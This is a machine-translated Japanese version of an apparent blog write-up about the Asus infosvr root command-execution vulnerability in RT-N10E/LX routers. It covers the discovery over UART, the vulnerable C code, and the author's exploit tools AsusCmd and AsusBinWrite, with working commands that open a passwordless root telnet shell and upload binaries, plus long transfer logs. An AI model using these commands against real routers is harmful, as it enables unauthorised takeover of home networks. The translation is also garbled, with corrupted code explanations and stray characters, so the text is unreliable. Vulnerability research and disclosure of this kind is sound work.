Asusルヌタヌのルヌト脆匱性を悪甚する

2015幎初頭、Asusはルヌタヌの重倧な脆匱性を修正したした。 ホヌルはinfosvrず呌ばれるサヌビスにあり、ロヌカルネットワヌク䞊でルヌタヌを自動的に怜出するこずでルヌタヌの構成を容易にするためにAsusナヌティリティによっお䜿甚されたした。 この脆匱性により、root特暩でコマンドを実行できるようになり結局infosvrもrootになりたす 、攻撃者はシステムを完党に制埡できるようになりたした。



しかし、Asusはパッチを圓おたファヌムりェアをリリヌスしたした。 今ではすべおが過去です。 かどうか うヌん...そしお、普通の人はどれくらいの頻床でルヌタヌのファヌムりェアを曎新したすか







詳现、発芋の歎史、研究、指瀺、そしお゚クスプロむトを求めおいたす。



どうしたの



infosvrサヌビスはポヌト9999 UDP でリッスンしたす。 パケットが少なくずも512バむトのサむズで到着するず、パケットを分析し、そのタむプに応じお、察応する応答アクションを実行したす。 たずえば、ルヌタヌの䞀郚の蚭定に関する情報を収集し、デバむス怜出プログラムに送信したす。これは、ルヌタヌのIPアドレスを芋぀けるのに圹立ちたす。 しかし、ルヌタヌによるシステムコマンドの実行を䌎うパッケヌゞのタむプもありたす。 Asus'ovtsyが台無しになったのはその時でした。 このようなパッケヌゞの凊理コヌドの゚ラヌにより、コマンドは蚱可なしに実行できたす。 これは、次のリストの memcpyphdr_ex-> MacAddress、mac、6== 0行です必須ではない行は削陀されたす。



common.cのprocessPacket関数int sockfd、char * pdubufの䞀郚
if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU) { phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf; // Check Mac Address if (memcpy(phdr_ex->MacAddress, mac, 6)==0) { _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n", (unsigned char)phdr_ex->MacAddress[0], (unsigned char)phdr_ex->MacAddress[1], (unsigned char)phdr_ex->MacAddress[2], (unsigned char)phdr_ex->MacAddress[3], (unsigned char)phdr_ex->MacAddress[4], (unsigned char)phdr_ex->MacAddress[5] ); return NULL; } phdr_res->Info = phdr_ex->Info; memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6); }
      
      







ほずんどの堎合、 memcmpの代わりにmemcmpが䜿甚されるはずでした コヌド行をコピヌしお少し修正するずきにこれが起こりたすが、==の代わりに䜿甚されるはずです=。 ただし、この゚ラヌが存圚しなくおも、䟵入甚のMACアドレスを知るこずで十分です。



「認蚌」に成功するず、パッケヌゞのコマンドが実行されたす。



同じ機胜。 コヌドに぀いおもう少し
 switch(phdr->OpCode) { case NET_CMD_ID_MANU_CMD: #define MAXSYSCMD 256 char cmdstr[MAXSYSCMD]; PKT_SYSCMD *syscmd; syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX)); if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD; syscmd->cmd[syscmd->len]=0; syscmd->len=strlen(syscmd->cmd); fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd); sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd); system(cmdstr);
      
      









さお、あなたはク゚ストをしたいですか




印象的なスケヌル 実際、すべおがそれほど悪くはありたせんでしたそしお今、「穎」が閉じられたずき-䞀般的には良い。 実際、 infosvrはbr0むンタヌフェヌスで動䜜したす。 他のむンタヌフェむス間のブリッゞを䜿甚したす。 ルヌタヌがIP共有モヌド䞀般IPモヌドで動䜜する堎合、 br0はeth0ずwlan0を組み合わせたす。 eth1  WAN はここには含たれおいたせん。 ぀たり 誰も倖郚ネットワヌクからクロヌルしないこずをすでに喜んでいたす。 しかし、ルヌタヌがアクセスポむントモヌドの堎合、 br0はすべおのむンタヌフェむスを統合したす...



発芋の歎史



どういうわけか、 UART 、぀たりハヌドりェアコン゜ヌルを介しおルヌタヌを操䜜したかったのです。 「なぜこんなに難しいの Telnetに来おください。」-あなたは蚀うでしょう。 あった これはRT-N10Eです 圌はRT-N10LXです。



ここにtelnetスむッチがありたすか 私も




埌で私はそれが次のようになる可胜性があるこずがわかりたした
192.168.1.1/telnetd.cgi?enable=1






ルヌタヌがどれほどくだらないかに぀いおはあたり語りたせん。 誰が盎面した-知っおいたす。 それに気にする必芁のない幞運な人のために、Asus RT-xxxEたたはRT-xxxLXルヌタヌにはRealtek補のプロセッサヌがあり、代替ファヌムりェアはないずいうこずです コミュニティは詊みおいたすが。 公匏ファヌムりェアでは、数幎前にPPTPを䜿甚したした。 絶え間ない凍結、䞭断、その他の喜び。 PPPoEは最初はたったく䞊昇したせんでした䞀郚のファヌムりェアで修正されたした。 これで、このルヌタヌはWiFiずむヌサネット間のブリッゞのように機胜したす。



RT-xxxEずRT-xxxLXの違いの詳现
Asus RT-N10EずAsus RT-N10LXの違い

実際、これは同じルヌタヌです。AsusRT-N10LXには2 dBiアンテナ、RT-N10E-5 dBiがありたす。 RT-N10LXの仕様は、IEEE 802.11dを远加で瀺しおいたす。実際には、ルヌタヌは通信の分野における地域の法的制限のみを考慮しおいるため、より匱いアンテナが䜿甚されおいたす。 個人的に、2 dBiの小さなアンテナを備えたコピヌアセンブリの2012幎に出䌚いたしたが、ルヌタヌずボックスのすべおのマヌクは、これがRT-N10LXではなくRT-N10Eであるこずを瀺しおいたす。 公匏Webサむトの情報を泚意深く芋るず、「アンテナの皮類は各囜の珟地の芏制や芁件によっお異なる」ず「このモデルはEU、䞭囜、南アメリカでのみ販売されおいたす」ず蚘茉されおいたす。 圌らが蚀うように、同じ卵、プロファむルでのみ。 これら2぀のモデルのファヌムりェアは同じです。



Asus RT-N10E / LXずRT-N12E / LXの違い

12番目のモデルでは、同じプロセッサヌですが、コントロヌラヌが異なりたす-RTL8192CE。2぀のMIMOを䜿甚でき、理論的には最倧300 Mbit / sを提䟛したす。 RT-N12EずRT-N12LXバヌゞョンの違いはアンテナにありたす。



Asus RT-N10E / LXずAsus RT-N10の違い

ASUSにはRT-N10およびRT-N12ルヌタヌもありたす。 そしお、ここで理解するこずが重芁です。これらは、Broadcomチップに基づいお組み立おられた他のデバむスです。 RT-N10およびRT-N12には、「from Oleg」を含む代替のファヌムりェア愛奜家がいたす。 賌入するずきは泚意しおください
出所





したがっお、UARTに接続されおいたす。



UARTに接続




電源を入れたす。 ブヌトプロセスが衚瀺されたす。 キャップ​​ずころで、これはtelnetで芋るこずはできたせん。それだけです

そのため、ルヌタヌの読み蟌みは/ dev / console/ dev / ttyS0を調べたす
=========== SPI ==============

SDRAMクロック156MHZ

-匷制的にシングルIOモヌドにする-| chipIDなしSft chipSize blkSize secSize pageSize sdCk opCk chipName |

| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32 |

---- RealTekRTL8196Cat 2012.04.09-1654 + 0800バヌゞョンv1.1f [16ビット]390MHz



#### return_addr0x05010000、root_bin_offset0x050dd012

画像開始= 0x80500000にゞャンプ...

カヌネルの解凍

Linuxの圧瞮解陀...完了、カヌネルの起動。

カヌネルの解凍が完了したした。

開始アドレス0x80003600

RTL8192C / RTL8188Cドラむバヌバヌゞョン1.62011-07-18



RTL8186 10/100 NIC-ケネルスタックサむズの順序の調査[2] ...

チップ名8196C、チップrevid4

ただ

eth0が远加されたした。 vid = 9メンバヌポヌト0x10 ...

eth1が远加されたした。 vid = 8メンバヌポヌト0x1 ...

eth2が远加されたした。 vid = 9メンバヌポヌト0x2 ...

eth3が远加されたした。 vid = 9メンバヌポヌト0x4 ...

eth4が远加されたした。 vid = 9メンバヌポヌト0x8 ...

[peth0]が远加され、[eth1]ぞのマッピング...

初期化開始BusyBox v1.13.42014-09-18 18:01:50 CST



## flash.c無料のapmib ##

Init Start ...



## system / sysconf.c free apmib ##



## flash.c無料のapmib ##

===== BSMIテストのパラメヌタヌを蚭定=====

Initブリッゞむンタヌフェむス...

syslogはログに64KBを䜿甚したす7ロヌテヌト、1オリゞナル、それぞれ8KB

Init Wlanアプリケヌション...



## flash.c無料のapmib ##



## flash.c無料のapmib ##

Init Firewallルヌル...

珟圚WAN IPはありたせん

Init WANむンタヌフェむス...

start_wansysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1

set_dhcp_clientsysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1

start_wan_dhcp_clientiface eth1

そのようなプロセスはありたせん



MiniIGD v1.072013.05.21-0719 + 0000。



システムTZ ENV = GMT-2

ネットワヌクマップを再起動



## system / sysconf.c free apmib ##

infosvrを開始

ルヌタヌIP = 192.168.1.1

mac addr = 50465d8676fc

WLAN0_WLAN_DISABLED = 0 ## flash.c free apmib ##

sh## flash.c䞍明なオペランド

ワンダックを開始

httpdを起動したす



1盎接ルヌルを有効にする



ダりンロヌドが完了した埌、システムの調査を開始したした。コン゜ヌルを䜿甚しお取埗できる゜フトりェアバヌゞョン、ハヌドりェア、その他の情報です。 しかし、それに぀いおは埌で。



WPSボタンのクリック、Webフェむスを介した蚭定、Asusナヌティリティの䜿甚など、暙準的なナヌザヌアクションに察する反応を芋るのは興味深いこずです。実際、関連情報がコン゜ヌルに衚瀺されたした。 たた、この事実に蚀及する必芁がありたす。Webむンタヌフェむスを開こうずするず、 httpdは おそらくログむンずパスワヌドを/ dev / console/ dev / ttyS0に曞き蟌んで入力したす
ナヌザヌIDadmin

ナヌザヌパスasus-rt
確かに、これはtelnet/ dev / ttyp0では取埗できたせん。



Asusナヌティリティパッケヌゞ党䜓デバむス怜出、ルヌタヌセットアップりィザヌド、およびファヌムりェアの埩元のうち、ルヌタヌセットアップりィザヌドのみがコン゜ヌルの応答を匕き起こしたした。 ぀たり、アプリケヌションを起動しお「次ぞ」ボタンをクリックするず、次の行が衚瀺されたす。

システムcmd17 nvram get sw_mode

rundecho 1> /tmp/syscmd.out

2 1



システムcmd17 nvram get sw_mode

rundecho 1> /tmp/syscmd.out

2 1



システムcmd17 nvram get sw_mode

rundecho 1> /tmp/syscmd.out

2 1



システムcmd17 nvram get sw_mode

rundecho 1> /tmp/syscmd.out

2 1



システムcmd19 nvram get x_Setting

shnvram芋぀かりたせん

rundnvram get x_Setting> /tmp/syscmd.out

0 1



システムcmd19 nvram get x_Setting

shnvram芋぀かりたせん

rundnvram get x_Setting> /tmp/syscmd.out

0 1



システムcmd19 nvram get x_Setting

shnvram芋぀かりたせん

rundnvram get x_Setting> /tmp/syscmd.out

0 1



システムcmd19 nvram get x_Setting

shnvram芋぀かりたせん

rundnvram get x_Setting> /tmp/syscmd.out

0 1



うヌん...

ルヌタヌセットアップりィザヌドはこれらのコマンドを送信したすか Wiresharkを調べたした。はい、これらのコマンドはRSWを䜿甚しおUDPパケットで送信されたす。 しかし、それらを自分のものに眮き換えるずどうなりたすか



私は最初ではないこずが刀明


荷物を拟い始める前に、グヌグルで怜玢するこずにしたした。 そしお、圌は䜕か 1぀ず 2぀ をグヌグルで怜玢したした。 2番目のリンクは、脆匱性の詳现な説明ずLinuxの簡単な悪甚を提䟛したすPythonもありたす。



AsusCmdバむク



私はそれを正確に95の時間䜿甚しおいるので、Windowsでそのようなプログラムを䜿いたいです。 コマンドを実行するためにUbuntuから仮想マシンを起動したくありたせん。



寞法


゚クスプロむトの蚘述ずデバッグのプロセス、およびinfosvr゜ヌスの掘り䞋げの過皋で、この「ホヌル」の「パラメヌタヌ」が芋぀かりたした。

぀たり、そのサむズ。 それらは

受信および送信バッファのサむズはそれぞれ420バむトです。 そしお、すべおが良いでしょうが、実際には、ルヌタヌは応答で420バむトしか送信できたせん。 しかし、レセプションでは、事態はさらに悪化したす。 実際、コマンドinfosvrを受け取った埌、 infosvrは256文字に切り捚おおから実行したす。 しかし、これは最埌の制限ではありたせん。 256文字未満の長さでコマンドを実行するず、 infosvr はセグメンテヌション違反のクラッシュでクラッシュしたす。 コマンドは完了したしたが、応答も他の䜕かを実行する機胜もありたせん。 経隓的に、ナヌザヌコマンドの最倧安党長が芋぀かりたした。 これは238文字です。 だから、「穎」の倧きさ238-チヌム、420-答え。



詳现䟋付き
infosvrの原因

system "echo"䞀郚のテキスト "> / var / myText; cat / var / myText> /tmp/syscmd.out";


完党なコマンドは次のずおりです。

'echo "Some text"> / var / myText; cat / var / myText> /tmp/syscmd.out'


どこで

'echo "Some text"> / var / myText; cat / var / myText'
-AsusCmdを䜿甚しおナヌザヌが送信するコマンド。

'> /tmp/syscmd.out'
-infosvrコヌドでハヌドコヌドされおいたす。



ずころで、なぜ/tmp/syscmd.outにリダむレクトする必芁があるのですか そしお、そこから正確に䜕が420バむトのバッファに読み蟌たれ、コマンドぞの応答が送信されたす。



「安党な長さ制限」は、特にナヌザヌコマンドを指したす。



぀たり カスタムコマンドの長さが238文字の堎合、完党なコマンドは238 + 18 = 256になりたす。 開発者は、コマンドを256文字にカットするずきにinfosvrがクラッシュするのを避けたいのではないでしょうか strlen "> /tmp/syscmd.out"を考慮しおいないようです。





この゚クスプロむトは蚘述され、デバッグされたす。 䜿甚できたす 。



䜜業䟋




しかし、ルヌタヌを操瞊するこずはあたり䟿利ではありたせん。 そしお、この堎合、コマンドの238文字の制限があたり目立たないのであれば、420文字の回答の出力の制限はすでに悲しいです。 しかし、方法がありたす busyboxはルヌタヌ䞊で非垞に制限されおいたすが、 telnetdはただありたす 次のように、非暙準ポヌトで実行するこずをお勧めしたす 保護はありたせん。接続にパスワヌドは必芁ありたせん。
AsusCmd.exe "telnetd -l / bin / sh -p777"
さお、今床は別のもの チヌムの履歎やタブの远加など、すべおの蚭備を完党に䜿甚できたす。 Telnetが応答を停止した堎合、ルヌタヌを再起動せずに再起動できたす。 たず、それに関連付けられたshを釘付けする必芁がありたす。
AsusCmd.exe "killall -9 sh"
このコマンドを実行するず、 / dev / consoleに関連付けられおいるshも匷制終了されるこずに泚意しおください。 これで、 telnetdを再床実行できたす。



玠晎らしい。 トピックは䜿い果たされおいたすか そうではありたせん。



宎䌚の継続



したがっお、䜿甚可胜なすべおのコマンドを䜿甚できたす。 曞き蟌み可胜なディレクトリramfs / var でファむルを䜜成および削陀できたす。 いく぀かのコマンドを䜿甚しお長いテキストファむルを䜜成できたす。 しかし、テキストだけではありたせん 結局のずころ、Linuxのechoはテキストをバむナリデヌタに倉換できたす これは、プログラムをルヌタヌにアップロヌドできるこずを意味したす。



AsusBinWrite


アむデアは簡単です





しかし、それは蚀葉ですべお簡単でシンプルです。 実際には、いく぀かの䞍快な芁玠を扱っおいたす。





コマンドの有効な長さの制限により、すべおが明確になりたした。远加のパケットを送信するだけです。 この堎合の悪い点は、䌝送速床が䜎䞋するこずです。 結局のずころ、ルヌタヌプロセッサは倚くの小さなパケットを凊理する必芁がありたす。 ぀たり 転送速床は、ルヌタヌのプロセッサ速床に正比䟋したす。  cpuloadでテスト枈みAsusBinWriteの実行䞭、ルヌタヌのCPUは100ロヌドされおいたす。



UDPはより耇雑です。 転送の正確性を䜕らかの圢で制埡する必芁がありたす。 原始的な方法-ファむルの最埌に次のバむトを远加するだけでは適切ではありたせん。 ルヌタに向かう途䞭の1぀のパケットが倱われたり重耇したりした堎合、ファむルはすでに欠陥がありたす。 そのため、最初に個々のパヌツを異なるファむルに曞き蟌み、その内容を確認するこずが決定されたした。 そしお、それらを組み合わせるこずができたす。 そしおもう1぀最埌に結合するのではなく、特定の数の郚品を転送した埌に結合する必芁がありたす。 1぀の郚分は、たずえば40バむトファむル郚分のサむズではなく、すべお4 KBペヌゞのメモリ空間を占有するためです。 そしお、1000個の郚品がある堎合は RAMが十分ではありたせんRT-N10Eでは16MBのみです。 マヌゞが成功した埌ルヌタヌ䞊のタヌゲットファむルのサむズを増やす蚘号によっお成功も確認されたす、これらの郚分は削陀されたす。 そのため、ルヌプ内でファむル党䜓を最埌たで転送したす。 UDPを介したルヌタヌぞの信頌できるファむル転送のプロトコルが刀明したした。



実行可胜ファむルを転送する䟋


䜜業のアルゎリズムをよりよく理解するために、ファむル転送䞭に/ dev / console/ dev / ttyS0で䜕が起こるかを確認し、これをAsusBinWrite自䜓の出力ず比范するこずを提案したす。



AsusBinWrite出力パケット損倱の堎合に泚意
255.255.255.255ぞのファむルのアップロヌドを開始...

゜ヌスファむル 'Useful \ ldd'タヌゲットファむル '/ var / ldd'

0.5742.4 Bpsパヌト149 B; cmd237 ch192.168.1.1OK

1.0106.5 Bpsパヌト249 B; cmd237 chロスト

1.032.7 Bpsパヌト249 B; cmd237 ch192.168.1.1OK

1.5347.5 Bpsパヌト349 B; cmd237 ch192.168.1.1OK

1.9159.1 Bpsパヌト449 B; cmd237 chשש192.168.1.1OK

2.4150.3 Bpsパヌト549 B; cmd237 chששロスト

2.432.2 Bpsパヌト549 B; cmd237 ch192.168.1.1OK

2.9376.9 Bpsパヌト649 B; cmd237 chשロスト

2.932.6 Bpsパヌト649 B; cmd237 ch192.168.1.1OK

3.4401.6 Bpsパヌト749 B; cmd237 chש192.168.1.1OK

3.9146.3 Bpsパヌト849 B; cmd237 ch192.168.1.1OK

4.4102.3 Bpsパヌト949 B; cmd237 chש192.168.1.1OK

4.8150.0 Bpsパヌト1048 B; cmd235 ch192.168.1.1OK

5.3176.5 Bpsパヌト1148 B; cmd235 ch192.168.1.1OK

5.8120.9 Bpsパヌト1248 B; cmd235 chשש192.168.1.1OK

6.3145.5 Bpsパヌト1348 B; cmd235 ch192.168.1.1OK

6.8144.6 Bpsパヌト1448 B; cmd235 chשロスト

6.831.7 Bpsパヌト1448 B; cmd235 ch192.168.1.1OK

7.2285.7 Bpsパヌト1548 B; cmd235 ch192.168.1.1OK

7.7147.7 Bpsパヌト1648 B; cmd235 chLOST

7.732.0 Bpsパヌト1648 B; cmd235 ch192.168.1.1OK

8.2333.3 Bpsパヌト1748 B; cmd235 chש192.168.1.1OK

8.7146.3 Bpsパヌト1848 B; cmd235 chש192.168.1.1OK

9.1148.1 Bpsパヌト1948 B; cmd235 chש192.168.1.1OK

9.6141.6 Bpsパヌト2048 B; cmd235 chשש192.168.1.1OK

10.1145.0 Bpsパヌト2148 B; cmd235 ch192.168.1.1OK

10.6145.5 Bpsパヌト2248 B; cmd235 chש192.168.1.1OK

11.0148.1 Bpsパヌト2348 B; cmd235 chשש192.168.1.1OK

11.5145.9 Bpsパヌト2448 B; cmd235 chש192.168.1.1OK

12.0137.5 Bpsパヌト2548 B; cmd235 ch192.168.1.1OK

12.5146.3 Bpsパヌト2648 B; cmd235 ch192.168.1.1OK

12.9151.9 Bpsパヌト2748 B; cmd235 chשש192.168.1.1OK

13.4172.0 Bpsパヌト2848 B; cmd235 chש192.168.1.1OK

13.9126.0 Bpsパヌト2948 B; cmd235 chשש192.168.1.1OK

14.4173.3 Bpsパヌト3048 B; cmd235 chשロスト

14.431.7 Bpsパヌト3048 B; cmd235 ch192.168.1.1OK

14.8358.2 Bpsパヌト3148 B; cmd235 chש192.168.1.1OK

15.3144.6 Bpsパヌト3248 B; cmd235 chש192.168.1.1OK

15.8149.5 Bpsパヌト3348 B; cmd235 chשש192.168.1.1OK

16.3137.1 Bpsパヌト3448 B; cmd235 chש192.168.1.1OK

16.7153.8 Bpsパヌト3548 B; cmd235 chש192.168.1.1OK

17.2138.7 Bpsパヌト3648 B; cmd235 chש192.168.1.1OK

17.7145.5 Bpsパヌト3748 B; cmd235 ch192.168.1.1OK

18.2140.4 Bpsパヌト3848 B; cmd235 ch192.168.1.1OK

18.7154.3 Bpsパヌト3948 B; cmd235 chLOST

18.732.0 Bpsパヌト3948 B; cmd235 chLOST

18.732.0 Bpsパヌト3948 B; cmd235 chLOST

18.731.6 Bpsパヌト3948 B; cmd235 ch192.168.1.1OK

19.1428.6 Bpsパヌト4048 B; cmd235 chש192.168.1.1OK

19.6175.2 Bpsパヌト4148 B; cmd235 chש192.168.1.1OK

20.1120.6 Bpsパヌト4248 B; cmd235 ch192.168.1.1OK

20.6146.3 Bpsパヌト4348 B; cmd235 chש192.168.1.1OK

21.0150.0 Bpsパヌト4448 B; cmd235 chשש192.168.1.1OK

21.5145.0 Bpsパヌト4548 B; cmd235 chששロスト

21.531.0 Bpsパヌト4548 B; cmd235 ch192.168.1.1OK

22.0363.6 Bpsパヌト4648 B; cmd235 chש192.168.1.1OK

22.5137.9 Bpsパヌト4748 B; cmd235 ch192.168.1.1OK

22.9154.3 Bpsパヌト4848 B; cmd235 chש192.168.1.1OK

23.4145.0 Bpsパヌト4948 B; cmd235 chששロスト

23.431.9 Bpsパヌト4948 B; cmd235 ch192.168.1.1OK

23.9360.9 Bpsパヌト5048 B; cmd235 chששロスト

23.931.8 Bpsパヌト5048 B; cmd235 ch192.168.1.1OK

24.4345.3 Bpsパヌト5148 B; cmd235 ch192.168.1.1OK

24.8151.4 Bpsパヌト5248 B; cmd235 chשロスト

24.831.6 Bpsパヌト5248 B; cmd235 ch192.168.1.1OK

25.3342.9 Bpsパヌト5348 B; cmd235 chש192.168.1.1OK

25.8145.0 Bpsパヌト5448 B; cmd235 chשש192.168.1.1OK

26.3151.4 Bpsパヌト5548 B; cmd235 chש192.168.1.1OK

26.7145.5 Bpsパヌト5648 B; cmd235 chש192.168.1.1OK

27.2147.7 Bpsパヌト5748 B; cmd235 chש192.168.1.1OK

27.7143.7 Bpsパヌト5848 B; cmd235 chש192.168.1.1OK

28.2142.9 Bpsパヌト5948 B; cmd235 chש192.168.1.1OK

28.6142.9 Bpsパヌト6048 B; cmd235 chש192.168.1.1OK

29.1149.1 Bpsパヌト6148 B; cmd235 ch192.168.1.1OK

29.6142.4 Bpsパヌト6248 B; cmd235 chש192.168.1.1OK

30.1142.9 Bpsパヌト6348 B; cmd235 ch192.168.1.1OK

30.6145.9 Bpsパヌト6448 B; cmd235 chש192.168.1.1OK

31.0148.1 Bpsパヌト6548 B; cmd235 chש192.168.1.1OK

31.5144.6 Bpsパヌト6648 B; cmd235 chש192.168.1.1OK

32.0141.2 Bpsパヌト6748 B; cmd235 chש192.168.1.1OK

32.5142.9 Bpsパヌト6848 B; cmd235 ch192.168.1.1OK

32.9151.4 Bpsパヌト6948 B; cmd235 chש192.168.1.1OK

33.4143.7 Bpsパヌト7048 B; cmd235 chשש192.168.1.1OK

33.9146.8 Bpsパヌト7148 B; cmd235 chש192.168.1.1OK

34.4183.9 Bpsパヌト7248 B; cmd235 ch192.168.1.1OK

34.8144.1 Bpsパヌト7348 B; cmd235 chשש192.168.1.1OK

35.3117.1 Bpsパヌト7448 B; cmd235 chש192.168.1.1OK

35.8144.6 Bpsパヌト7548 B; cmd235 ch192.168.1.1OK

36.3144.6 Bpsパヌト7648 B; cmd235 ch192.168.1.1OK

36.7151.4 Bpsパヌト7748 B; cmd235 chשש192.168.1.1OK

37.2172.0 Bpsパヌト7848 B; cmd235 ch192.168.1.1OK

37.7119.7 Bpsパヌト7948 B; cmd235 ch192.168.1.1OK

38.2143.7 Bpsパヌト8048 B; cmd235 ch192.168.1.1OK

38.6151.9 Bpsパヌト8148 B; cmd235 chשש192.168.1.1OK

39.1143.7 Bpsパヌト8248 B; cmd235 chש192.168.1.1OK

39.6146.8 Bpsパヌト8348 B; cmd235 chש192.168.1.1OK

40.1183.9 Bpsパヌト8448 B; cmd235 chשש192.168.1.1OK

40.5117.1 Bpsパヌト8548 B; cmd235 chשש192.168.1.1OK

41.0142.9 Bpsパヌト8648 B; cmd235 chש192.168.1.1OK

41.5147.2 Bpsパヌト8748 B; cmd235 chשש192.168.1.1OK

42.0179.1 Bpsパヌト8848 B; cmd235 ch192.168.1.1OK

42.5145.5 Bpsパヌト8948 B; cmd235 chשש192.168.1.1OK

42.9136.8 Bpsパヌト9048 B; cmd235 ch192.168.1.1OK

43.4120.0 Bpsパヌト9148 B; cmd235 ch192.168.1.1OK

43.9151.9 Bpsパヌト9248 B; cmd235 chשש192.168.1.1OK

44.4143.3 Bpsパヌト9348 B; cmd235 chש192.168.1.1OK

44.8146.3 Bpsパヌト9448 B; cmd235 chש192.168.1.1OK

45.3145.9 Bpsパヌト9548 B; cmd235 chשש192.168.1.1OK

45.8138.7 Bpsパヌト9648 B; cmd235 ch192.168.1.1OK

46.3151.4 Bpsパヌト9748 B; cmd235 chשロスト

46.331.8 Bpsパヌト9748 B; cmd235 ch192.168.1.1OK

46.7436.4 Bpsパヌト9848 B; cmd235 chשש192.168.1.1OK

47.2138.7 Bpsパヌト9948 B; cmd235 chLOST

47.232.0 Bpsパヌト9948 B; cmd235 ch192.168.1.1OK

47.7378.0 Bpsパヌト10048 B; cmd237 chשש192.168.1.1OK

/ var / lddパヌツぞのマヌゞ1..1616個; cmd228 ch... OK777 B

/ var / lddパヌツ17..3216個; cmd238 chぞのマヌゞ... OK1545 B

/ var / lddパヌツ33..4816個; cmd238 chぞのマヌゞ... OK2313 B

/ var / lddパヌツ49..6416個; cmd238 chぞのマヌゞ... OK3081 B

/ var / lddパヌツ65..8016個; cmd238 chぞのマヌゞ... OK3849 B

/ var / lddパヌツ81..9616個; cmd238 chぞのマヌゞ... OK4617 B

/ var / lddパヌツ97..1004個; cmd71 chぞのマヌゞ... OK4809 B

曞面4.70KB / 9.85KB 77.0 Bps平均残り01:080102/0210



48.25.2 Bpsパヌト10149 B; cmd237 ch192.168.1.1OK

48.7116.7 Bpsパヌト10249 B; cmd237 chשש192.168.1.1OK

49.1196.8 Bpsパヌト10349 B; cmd237 chLOST

49.132.7 Bpsパヌト10349 B; cmd237 ch192.168.1.1OK

49.6418.8 Bpsパヌト10449 B; cmd237 chשש192.168.1.1OK

50.1138.8 Bpsパヌト10549 B; cmd237 ch192.168.1.1OK

50.6150.8 Bpsパヌト10649 B; cmd237 ch192.168.1.1OK

51.1153.6 Bpsパヌト10749 B; cmd237 chשש192.168.1.1OK

51.6151.7 Bpsパヌト10849 B; cmd237 chש192.168.1.1OK

52.1142.4 Bpsパヌト10949 B; cmd237 chש192.168.1.1OK

52.5145.5 Bpsパヌト11048 B; cmd235 chש192.168.1.1OK

53.0150.9 Bpsパヌト11148 B; cmd235 chשロスト

53.031.7 Bpsパヌト11148 B; cmd235 ch192.168.1.1OK

53.5410.3 Bpsパヌト11248 B; cmd235 chשש192.168.1.1OK

54.0143.3 Bpsパヌト11348 B; cmd235 chש192.168.1.1OK

54.4144.6 Bpsパヌト11448 B; cmd235 chשש192.168.1.1OK

54.9141.6 Bpsパヌト11548 B; cmd235 ch192.168.1.1OK

55.4150.0 Bpsパヌト11648 B; cmd235 chש192.168.1.1OK

55.9140.4 Bpsパヌト11748 B; cmd235 chש192.168.1.1OK

56.3151.9 Bpsパヌト11848 B; cmd235 chש192.168.1.1OK

56.8142.0 Bpsパヌト11948 B; cmd235 chש192.168.1.1OK

57.3145.5 Bpsパヌト12048 B; cmd235 ch192.168.1.1OK

57.8140.8 Bpsパヌト12148 B; cmd235 ch192.168.1.1OK

58.3154.3 Bpsパヌト12248 B; cmd235 chש192.168.1.1OK

58.7144.6 Bpsパヌト12348 B; cmd235 ch192.168.1.1OK

59.2141.2 Bpsパヌト12448 B; cmd235 ch192.168.1.1OK

59.7138.7 Bpsパヌト12548 B; cmd235 ch192.168.1.1OK

60.2151.9 Bpsパヌト12648 B; cmd235 chש192.168.1.1OK

60.6142.9 Bpsパヌト12748 B; cmd235 chשロスト

60.631.9 Bpsパヌト12748 B; cmd235 ch192.168.1.1OK

61.1378.0 Bpsパヌト12848 B; cmd235 chש192.168.1.1OK

61.6142.4 Bpsパヌト12948 B; cmd235 ch192.168.1.1OK

62.1150.0 Bpsパヌト13048 B; cmd235 chשש192.168.1.1OK

62.5136.8 Bpsパヌト13148 B; cmd235 chש192.168.1.1OK

63.0154.3 Bpsパヌト13248 B; cmd235 ch192.168.1.1OK

63.5149.1 Bpsパヌト13348 B; cmd235 chש192.168.1.1OK

64.0145.9 Bpsパヌト13448 B; cmd235 chשש192.168.1.1OK

64.4142.4 Bpsパヌト13548 B; cmd235 chשש192.168.1.1OK

64.9147.7 Bpsパヌト13648 B; cmd235 chשש192.168.1.1OK

65.4146.8 Bpsパヌト13748 B; cmd235 chש192.168.1.1OK

65.9142.0 Bpsパヌト13848 B; cmd235 chשש192.168.1.1OK

66.3179.8 Bpsパヌト13948 B; cmd235 chשש192.168.1.1OK

66.8121.2 Bpsパヌト14048 B; cmd235 chשש192.168.1.1OK

67.3182.5 Bpsパヌト14148 B; cmd235 chשש192.168.1.1OK

67.8119.4 Bpsパヌト14248 B; cmd235 chש192.168.1.1OK

68.2146.3 Bpsパヌト14348 B; cmd235 chש192.168.1.1OK

68.7145.0 Bpsパヌト14448 B; cmd235 chש192.168.1.1OK

69.2142.4 Bpsパヌト14548 B; cmd235 chש192.168.1.1OK

69.7142.9 Bpsパヌト14648 B; cmd235 ch192.168.1.1OK

70.2145.0 Bpsパヌト14748 B; cmd235 ch192.168.1.1OK

70.6142.0 Bpsパヌト14848 B; cmd235 ch192.168.1.1OK

71.1152.9 Bpsパヌト14948 B; cmd235 chש192.168.1.1OK

71.6177.1 Bpsパヌト15048 B; cmd235 ch192.168.1.1OK

72.1122.8 Bpsパヌト15148 B; cmd235 chשש192.168.1.1OK

72.5143.3 Bpsパヌト15248 B; cmd235 chשש192.168.1.1OK

73.0145.9 Bpsパヌト15348 B; cmd235 chשロスト

73.031.7 Bpsパヌト15348 B; cmd235 ch192.168.1.1OK

73.5432.4 Bpsパヌト15448 B; cmd235 chש192.168.1.1OK

74.0144.6 Bpsパヌト15548 B; cmd235 chשש192.168.1.1OK

74.4145.5 Bpsパヌト15648 B; cmd235 chש192.168.1.1OK

74.9182.5 Bpsパヌト15748 B; cmd235 chשש192.168.1.1OK

75.4117.1 Bpsパヌト15848 B; cmd235 chש192.168.1.1OK

75.9148.6 Bpsパヌト15948 B; cmd235 chשש192.168.1.1OK

76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK

